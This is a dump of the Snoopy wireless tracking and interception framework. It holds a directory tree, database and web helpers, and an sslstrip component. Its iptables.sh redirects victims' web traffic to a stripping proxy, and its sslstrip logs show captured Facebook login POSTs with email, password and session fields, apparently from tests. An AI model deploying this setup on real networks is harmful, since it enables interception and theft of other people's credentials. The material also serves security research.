├── snoopy
├── server
│ ├── bin
│ │ ├── __init__.py
│ │ ├── sslstripSnoopy
│ │ │ ├── __init__.py
│ │ │ ├── sslstrip
│ │ │ │ ├── __init__.py
│ │ │ │ ├── DnsCache.pyc
│ │ │ │ ├── __init__.pyc
│ │ │ │ ├── URLMonitor.pyc
│ │ │ │ ├── ClientRequest.pyc
│ │ │ │ ├── CookieCleaner.pyc
│ │ │ │ ├── StrippingProxy.pyc
│ │ │ │ ├── ServerConnection.pyc
│ │ │ │ ├── SSLServerConnection.pyc
│ │ │ │ ├── ServerConnectionFactory.pyc
│ │ │ │ ├── DnsCache.py
│ │ │ │ ├── StrippingProxy.py
│ │ │ │ ├── ServerConnectionFactory.py
│ │ │ │ ├── URLMonitor.py
│ │ │ │ ├── CookieCleaner.py
│ │ │ │ ├── SSLServerConnection.py~
│ │ │ │ ├── SSLServerConnection.py
│ │ │ │ └── ServerConnection.py~
│ │ │ ├── build
│ │ │ │ ├── lib.linux-i686-2.7
│ │ │ │ │ └── sslstrip
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── DnsCache.py
│ │ │ │ │ │ ├── StrippingProxy.py
│ │ │ │ │ │ ├── ServerConnectionFactory.py
│ │ │ │ │ │ ├── URLMonitor.py
│ │ │ │ │ │ ├── CookieCleaner.py
│ │ │ │ │ │ ├── SSLServerConnection.py
│ │ │ │ │ │ └── ServerConnection.py
│ │ │ │ └── scripts-2.7
│ │ │ │ │ └── sslstrip
│ │ │ ├── lock.ico
│ │ │ ├── __init__.pyc
│ │ │ ├── sslstrip1.pyc
│ │ │ ├── FOO
│ │ │ ├── iptables.sh
│ │ │ ├── sslstrip.log
│ │ │ ├── junaid.log.export
│ │ │ ├── junaid.lo.old
│ │ │ ├── README
│ │ │ ├── setup.py
│ │ │ ├── jstripper.py
│ │ │ ├── sslstrip.py
│ │ │ └── sslstrip1.py
│ │ ├── wigle_creds.txt
│ │ ├── snoopy
│ │ │ ├── src
│ │ │ │ └── snoopy
│ │ │ │ │ ├── plugins
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── wifi.pyc
│ │ │ │ │ ├── wigle.pyc
│ │ │ │ │ ├── gpsmovs.pyc
│ │ │ │ │ ├── __init__.pyc
│ │ │ │ │ ├── wigle.py
│ │ │ │ │ ├── wifi.py
│ │ │ │ │ └── gpsmovs.py
│ │ │ │ │ ├── __init__.pyc
│ │ │ │ │ ├── web
│ │ │ │ │ ├── main.pyc
│ │ │ │ │ ├── __init__.pyc
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ └── main.py
│ │ │ │ │ ├── db
│ │ │ │ │ ├── models.pyc
│ │ │ │ │ ├── __init__.pyc
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ └── models.py
│ │ │ │ │ ├── static
│ │ │ │ │ ├── images
│ │ │ │ │ │ ├── logo.png
│ │ │ │ │ │ └── background-gradient.png
│ │ │ │ │ ├── css
│ │ │ │ │ │ ├── images
│ │ │ │ │ │ │ ├── ui-icons_222222_256x240.png
│ │ │ │ │ │ │ ├── ui-icons_4b8e0b_256x240.png
│ │ │ │ │ │ │ ├── ui-icons_a83300_256x240.png
│ │ │ │ │ │ │ ├── ui-icons_cccccc_256x240.png
│ │ │ │ │ │ │ ├── ui-icons_ffffff_256x240.png
│ │ │ │ │ │ │ ├── ui-bg_flat_30_cccccc_40x100.png
│ │ │ │ │ │ │ ├── ui-bg_flat_50_5c5c5c_40x100.png
│ │ │ │ │ │ │ ├── ui-bg_glass_40_ffc73d_1x400.png
│ │ │ │ │ │ │ ├── ui-bg_loop_25_000000_21x21.png
│ │ │ │ │ │ │ ├── ui-bg_highlight-hard_20_0972a5_1x100.png
│ │ │ │ │ │ │ ├── ui-bg_highlight-soft_33_003147_1x100.png
│ │ │ │ │ │ │ ├── ui-bg_highlight-soft_35_222222_1x100.png
│ │ │ │ │ │ │ ├── ui-bg_highlight-soft_44_444444_1x100.png
│ │ │ │ │ │ │ └── ui-bg_highlight-soft_80_eeeeee_1x100.png
│ │ │ │ │ │ ├── cssreset-min.css
│ │ │ │ │ │ └── snoopy-main.css
│ │ │ │ │ └── js
│ │ │ │ │ │ ├── ssidlist.js
│ │ │ │ │ │ ├── snoopy-login.js
│ │ │ │ │ │ ├── wigle.js
│ │ │ │ │ │ └── gpsmovs.js
│ │ │ │ │ ├── templates
│ │ │ │ │ ├── login.html
│ │ │ │ │ └── main.html
│ │ │ │ │ └── __init__.py
│ │ │ └── README.md
│ │ ├── vpn_drones.py
│ │ ├── stawk_db.py
│ │ ├── process_probe_pcaps.sh
│ │ ├── snarfer.sh
│ │ ├── snoopy_server.py
│ │ ├── prox_guid.py
│ │ ├── ssid_to_loc.py
│ │ └── facebook.py
│ ├── logs
│ │ ├── snoopy.log
│ │ └── logs_maltego.txt
│ ├── setup
│ │ ├── replace_html.txt
│ │ ├── replace_match.txt
│ │ ├── config
│ │ ├── sn.txt
│ │ ├── network_diagram.txt
│ │ └── db_setup.sql
│ ├── transforms
│ │ ├── common.py
│ │ ├── Maltego.pyc
│ │ ├── stawk_db.py
│ │ ├── summary.py
│ │ ├── fetchUAsFromClient.py
│ │ ├── vegas44con.py
│ │ ├── fetchSSIDs.py
│ │ ├── testPy.py
│ │ ├── fetchAllFacebook.py
│ │ ├── fetchTweetsByLocation.py
│ │ ├── fetchDomains.py
│ │ ├── fetchUserAgents.py
│ │ ├── fetchAllDomains.py
│ │ ├── fetchCountries.py
│ │ ├── fetchLocations.py
│ │ ├── fetchClientsFromCountry.py
│ │ ├── fetchClientsFromUA.py
│ │ ├── fetchClientsFromDomain.py
│ │ ├── fetchFacebook.py
│ │ ├── fetchFacebookFriends.py
│ │ ├── fetchSSIDLocations.py
│ │ ├── fetchDrones.py
│ │ └── Maltego.py
│ └── web_data
│ │ └── maltego
│ │ ├── snoopy_entities.mtz
│ │ └── snoopy_machines.tar.gz
└── client
│ ├── setup
│ ├── snoopy.png
│ └── snoopy.desktop
│ ├── configs
│ └── drivers
│ │ └── drivers.txt
│ ├── setup_linux.sh
│ ├── setup_n900.sh
│ └── bin
│ └── snoopy_gpslogger.py
└── LICENSE.txt
/snoopy/server/bin/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/snoopy/server/logs/snoopy.log:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/snoopy/server/logs/logs_maltego.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/snoopy/server/setup/replace_html.txt:
--------------------------------------------------------------------------------
1 | down
2 |
--------------------------------------------------------------------------------
/snoopy/server/setup/replace_match.txt:
--------------------------------------------------------------------------------
1 | up
2 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/common.py:
--------------------------------------------------------------------------------
1 | lookback=400
2 |
--------------------------------------------------------------------------------
/snoopy/server/bin/wigle_creds.txt:
--------------------------------------------------------------------------------
1 | setYourWigleUsername:AndPassword:
2 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/plugins/__init__.py:
--------------------------------------------------------------------------------
1 | "Nothing to see here. Move along."
2 |
--------------------------------------------------------------------------------
/snoopy/client/setup/snoopy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/client/setup/snoopy.png
--------------------------------------------------------------------------------
/snoopy/server/setup/config:
--------------------------------------------------------------------------------
1 | vpn_server=""
2 | rsync_user=""
3 | rsync_user_home=""
4 | web_root="/var/www"
5 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/Maltego.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/transforms/Maltego.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/lock.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/lock.ico
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/__init__.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/__init__.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/web/main.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/web/main.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip1.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip1.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/db/models.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/db/models.pyc
--------------------------------------------------------------------------------
/snoopy/server/web_data/maltego/snoopy_entities.mtz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/web_data/maltego/snoopy_entities.mtz
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/db/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/db/__init__.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/plugins/wifi.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/plugins/wifi.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/plugins/wigle.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/plugins/wigle.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/web/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/web/__init__.pyc
--------------------------------------------------------------------------------
/snoopy/server/web_data/maltego/snoopy_machines.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/web_data/maltego/snoopy_machines.tar.gz
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/plugins/gpsmovs.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/plugins/gpsmovs.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/DnsCache.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/DnsCache.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/__init__.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/plugins/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/plugins/__init__.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/images/logo.png
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/URLMonitor.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/URLMonitor.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/ClientRequest.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/ClientRequest.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/CookieCleaner.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/CookieCleaner.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/StrippingProxy.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/StrippingProxy.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/ServerConnection.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/ServerConnection.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/SSLServerConnection.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/SSLServerConnection.pyc
--------------------------------------------------------------------------------
/snoopy/client/configs/drivers/drivers.txt:
--------------------------------------------------------------------------------
1 | Only required for the N900. The setup_n900.sh script will copy the PwnPhone's 802.11 drivers here, to ensure they match the powerkernel version.
2 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/ServerConnectionFactory.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/ServerConnectionFactory.pyc
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/images/background-gradient.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/images/background-gradient.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_222222_256x240.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_222222_256x240.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_4b8e0b_256x240.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_4b8e0b_256x240.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_a83300_256x240.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_a83300_256x240.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_cccccc_256x240.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_cccccc_256x240.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_ffffff_256x240.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_ffffff_256x240.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_flat_30_cccccc_40x100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_flat_30_cccccc_40x100.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_flat_50_5c5c5c_40x100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_flat_50_5c5c5c_40x100.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_glass_40_ffc73d_1x400.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_glass_40_ffc73d_1x400.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_loop_25_000000_21x21.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_loop_25_000000_21x21.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-hard_20_0972a5_1x100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-hard_20_0972a5_1x100.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_33_003147_1x100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_33_003147_1x100.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_35_222222_1x100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_35_222222_1x100.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_44_444444_1x100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_44_444444_1x100.png
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_80_eeeeee_1x100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_80_eeeeee_1x100.png
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/FOO:
--------------------------------------------------------------------------------
1 | 2012-09-28 12:19:37,197 Client:192.168.42.1 SECURE POST Data (www.facebook.com) URL(/login.php?login_attempt=1)URL:
2 | lsd=AVq2GjAm&email=hey&pass=there&default_persistent=0&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&timezone=-120&lgnrnd=041930_KA5q&lgnjs=1348831172&locale=en_US
3 |
--------------------------------------------------------------------------------
/snoopy/client/setup/snoopy.desktop:
--------------------------------------------------------------------------------
1 | [Desktop Entry]
2 | Encoding=UTF-8
3 | Version=1.0
4 | Type=Application
5 | Name=Snoopy
6 | Comment=Snoopy
7 | Terminal=true
8 | Icon=snoopy
9 | Exec=osso-xterm -e "sudo /root/snoopy/bin/snoopy.sh"
10 | X-Window-Icon=snoopy
11 | X-HildonDesk-ShowInToolbar=true
12 | X-Osso-Type=application/x-executable
13 | #Categories=Application;Network;Security
14 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/iptables.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo 1 > /proc/sys/net/ipv4/ip_forward
4 |
5 | iptables -P INPUT ACCEPT
6 | iptables -P OUTPUT ACCEPT
7 | iptables -P FORWARD ACCEPT
8 | iptables -F INPUT
9 | iptables -F OUTPUT
10 | iptables -F FORWARD
11 |
12 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
13 | iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
14 |
15 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip.log:
--------------------------------------------------------------------------------
1 | 2012-09-27 17:11:11,178 Client:192.168.42.1 POST Data (m.facebook.com) URL(/stories.php?tab=h_nor&max=1348762077&pos=24&lvi=-704921669899750188&cqi=5792889577992601577&__ajax__)URL:
2 | fb_dtsg=AQAAvbk9&__user=100004371821758&__ajax__=true&__metablock__=8
3 | 2012-09-27 17:11:13,394 Client:192.168.42.1 POST Data (m.facebook.com) URL(/bookmarks/get.php?partial=1&refid=7)URL:
4 | fb_dtsg=AQAAvbk9&__user=100004371821758&__ajax__=true&__metablock__=9
5 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/web/__init__.py:
--------------------------------------------------------------------------------
1 | """Contains web-app specific code."""
2 |
3 | from functools import wraps
4 | from flask import request, redirect, url_for
5 |
6 | DEBUG = False
7 |
8 | def login_required(f):
9 | @wraps(f)
10 | def decorated_function(*args, **kwargs):
11 | beaker = request.environ['beaker.session']
12 | if not beaker.has_key('userid') and not DEBUG:
13 | return redirect(url_for('login'))
14 | return f(*args, **kwargs)
15 | return decorated_function
16 |
--------------------------------------------------------------------------------
/snoopy/server/bin/vpn_drones.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # glenn@sensepost.com
3 | # Snoopy // 2012
4 | # By using this code you agree to abide by the supplied LICENSE.txt
5 |
6 | # Determines if Drones are connected via OpenVPN
7 |
8 | import re
9 | import time
10 |
11 | f=open("/etc/openvpn/openvpn-status.log", "r")
12 | line=f.readline()
13 | while ( not re.search('^Common.*',line)):
14 | line=f.readline()
15 |
16 | line=f.readline()
17 | while ( not re.search('^ROUTING.*',line)):
18 | line=line.strip()
19 | r=line.split(',')
20 | client,ip,time=r[0],r[1],r[4]
21 | ip=ip.split(':')[0]
22 | # print "'%s' connected since' %s' (from '%s')" %(client,time,ip)
23 | print "%s\t%s\t%s" %(time,ip,client)
24 |
25 | line=f.readline()
26 |
27 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/DnsCache.py:
--------------------------------------------------------------------------------
1 |
2 | class DnsCache:
3 |
4 | '''
5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
6 | '''
7 |
8 | _instance = None
9 |
10 | def __init__(self):
11 | self.cache = {}
12 |
13 | def cacheResolution(self, host, address):
14 | self.cache[host] = address
15 |
16 | def getCachedAddress(self, host):
17 | if host in self.cache:
18 | return self.cache[host]
19 |
20 | return None
21 |
22 | def getInstance():
23 | if DnsCache._instance == None:
24 | DnsCache._instance = DnsCache()
25 |
26 | return DnsCache._instance
27 |
28 | getInstance = staticmethod(getInstance)
29 |
--------------------------------------------------------------------------------
/snoopy/server/bin/stawk_db.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # glenn@sensepost.com
3 | # Snoopy // 2012
4 | # By using this code you agree to abide by the supplied LICENSE.txt
5 |
6 | import MySQLdb
7 | import logging
8 | import time
9 |
10 | dbhost="localhost"
11 | dbuser="snoopy"
12 | dbpass="RANDOMPASSWORDGOESHERE"
13 | dbdb="snoopy"
14 | retries=20
15 |
16 | def dbconnect():
17 | for i in range(retries):
18 | try:
19 | # unicdoe is a whore
20 | db = MySQLdb.connect(dbhost, dbuser,dbpass,dbdb, use_unicode=True, charset='utf8')
21 | db.autocommit(True)
22 | except Exception,e:
23 | logging.error("Unable to connect to MySQL! I'll try %d more times"%(retries-i))
24 | logging.error(e)
25 | time.sleep(5)
26 | else:
27 | return db.cursor()
28 |
29 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/js/ssidlist.js:
--------------------------------------------------------------------------------
1 | Snoopy.registerPlugin('ssids', function(section, clData) {
2 | var $outer_ul = $(document.createElement('ul'));
3 | for (var ssid in clData) {
4 | if (!clData.hasOwnProperty(ssid)) { continue; }
5 | var $ps_ul = $(document.createElement('ul')),
6 | prox_sessions = clData[ssid],
7 | ssid_i;
8 | for (ssid_i=0; ssid_i < prox_sessions.length; ssid_i++)
9 | $ps_ul.append( $(document.createElement('li')).text(prox_sessions[ssid_i]) );
10 | $outer_ul.append(
11 | $(document.createElement('li'))
12 | .text(ssid).append($ps_ul).expander()
13 | );
14 | }
15 | $('.section-content', section).append($outer_ul);
16 | });
17 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/stawk_db.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # glenn@sensepost.com
3 | # Snoopy // 2012
4 | # By using this code you agree to abide by the supplied LICENSE.txt
5 |
6 | import MySQLdb
7 | import logging
8 | import time
9 |
10 | dbhost="localhost"
11 | dbuser="snoopy"
12 | dbpass="RANDOMPASSWORDGOESHERE"
13 | dbdb="snoopy"
14 | retries=20
15 |
16 | def dbconnect():
17 | for i in range(retries):
18 | try:
19 | # unicdoe is a whore
20 | db = MySQLdb.connect(dbhost, dbuser,dbpass,dbdb, use_unicode=True, charset='utf8')
21 | db.autocommit(True)
22 | except Exception,e:
23 | logging.error("Unable to connect to MySQL! I'll try %d more times"%(retries-i))
24 | logging.error(e)
25 | time.sleep(5)
26 | else:
27 | return db.cursor()
28 |
29 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/DnsCache.py:
--------------------------------------------------------------------------------
1 |
2 | class DnsCache:
3 |
4 | '''
5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
6 | '''
7 |
8 | _instance = None
9 |
10 | def __init__(self):
11 | self.cache = {}
12 |
13 | def cacheResolution(self, host, address):
14 | self.cache[host] = address
15 |
16 | def getCachedAddress(self, host):
17 | if host in self.cache:
18 | return self.cache[host]
19 |
20 | return None
21 |
22 | def getInstance():
23 | if DnsCache._instance == None:
24 | DnsCache._instance = DnsCache()
25 |
26 | return DnsCache._instance
27 |
28 | getInstance = staticmethod(getInstance)
29 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/junaid.log.export:
--------------------------------------------------------------------------------
1 | "timestamp","src_ip","domain","url","secure","post"
2 | "2012-09-04 00:05:34","127.0.0.1","www.facebook.com","gin.php?login_attempt=1","1","lsd=AVq3hWyM&email=test&pass=test&default_persistent=0&charset_test=€,´,€,´,水,Д,Є&timezone=-120&lgnrnd=150518_f6eB&lgnjs=1346709923&locale=en_US"
3 | "2012-09-04 00:05:59","127.0.0.1","safebrowsing.clients.google.com","febrowsing/downloads?client=chromium&appver=18.0.1025.151&pver=2.2&wrkey=AKEgNiuKlgfbFTTjNhgiQoemn1RyByxpgyhnbhtYlVoJL8PeoNVEbpPel-4V-1DQUu8pYj_V4KOATayfAkrrPDvoYiRJ2hCNVQ==","0","goog-malware-shavar;a:82048-90224:s:84481-94487:macgoog-phish-shavar;a:223615-233668:s:105018-109559:macgoog-badbinurl-shavar;a:5355-7706:s:4513-7608:macgoog-csdwhite-sha256;a:1-24:s:1:macgoog-downloadwhite-digest256;a:1-41:s:1-5:mac"
4 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/junaid.lo.old:
--------------------------------------------------------------------------------
1 | 2012-09-04 00:05:34,919 Client:127.0.0.1 SECURE POST Data (www.facebook.com) URL(/login.php?login_attempt=1)URL:
2 | lsd=AVq3hWyM&email=test&pass=test&default_persistent=0&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&timezone=-120&lgnrnd=150518_f6eB&lgnjs=1346709923&locale=en_US
3 | 2012-09-04 00:05:59,441 Client:127.0.0.1 POST Data (safebrowsing.clients.google.com) URL(/safebrowsing/downloads?client=chromium&appver=18.0.1025.151&pver=2.2&wrkey=AKEgNiuKlgfbFTTjNhgiQoemn1RyByxpgyhnbhtYlVoJL8PeoNVEbpPel-4V-1DQUu8pYj_V4KOATayfAkrrPDvoYiRJ2hCNVQ==)URL:
4 | goog-malware-shavar;a:82048-90224:s:84481-94487:mac
5 | goog-phish-shavar;a:223615-233668:s:105018-109559:mac
6 | goog-badbinurl-shavar;a:5355-7706:s:4513-7608:mac
7 | goog-csdwhite-sha256;a:1-24:s:1:mac
8 | goog-downloadwhite-digest256;a:1-41:s:1-5:mac
9 |
10 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/cssreset-min.css:
--------------------------------------------------------------------------------
1 | /*
2 | YUI 3.6.0 (build 5521)
3 | Copyright 2012 Yahoo! Inc. All rights reserved.
4 | Licensed under the BSD License.
5 | http://yuilibrary.com/license/
6 | */
